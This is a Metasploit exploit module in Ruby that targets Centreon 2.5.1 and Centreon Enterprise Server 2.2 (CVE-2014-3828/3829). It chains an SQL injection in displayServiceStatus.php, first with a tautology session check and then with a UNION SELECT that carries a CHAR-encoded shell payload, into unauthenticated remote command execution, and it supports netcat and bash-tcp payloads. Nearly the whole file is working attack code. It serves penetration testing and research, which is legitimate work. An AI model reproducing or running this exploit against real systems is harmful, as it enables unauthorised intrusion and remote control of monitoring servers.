##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Centreon SQL and Command Injection',
      'Description'    => %q{
        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
        commands as long as there is a valid session registered in the centreon.session table.
        In order to have a valid session, all it takes is a successful login from anybody.
        The exploit itself does not require any authentication.

        This module has been tested successfully on Centreon Enterprise Server 2.2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'MaZ', # Vulnerability Discovery and Analysis
          'juan vazquez' # Metasploit Module
        ],
      'References'     =>
        [
          ['CVE', '2014-3828'],
          ['CVE', '2014-3829'],
          ['US-CERT-VU', '298796'],
          ['URL', 'https://seclists.org/fulldisclosure/2014/Oct/78']
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'Space'       => 1500, # having into account 8192 as max URI length
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
            }
        },
      'Targets'        =>
        [
          ['Centreon Enterprise Server 2.2', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2014-10-15',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
      ])
  end

  def check
    random_id = rand_text_numeric(5 + rand(8))
    res = send_session_id(random_id)

    unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
      return Exploit::CheckCode::Safe
    end

    injection = "#{random_id}' or 'a'='a"
    res = send_session_id(injection)

    if res && res.code == 200
      if res.body && res.body.to_s =~ /sh: graph: command not found/
        return Exploit::CheckCode::Vulnerable
      elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
        return Exploit::CheckCode::Detected
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
    elsif check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
    end

    print_status("Exploiting...")
    random_id = rand_text_numeric(5 + rand(8))
    random_char = rand_text_alphanumeric(1)
    session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
    template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
    res = send_template_id(session_injection, template_injection)

    if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
      vprint_status("Output: #{res.body}")
    end
  end

  def send_session_id(session_id)
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id
        }
    )

    res
  end

  def send_template_id(session_id, template_id)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id,
          'template_id' => template_id
        }
      }, 3)

    res
  end

  def mysql_payload
    p = ''
    payload.encoded.each_byte { |c| p << "#{c},"}
    p
  end
end
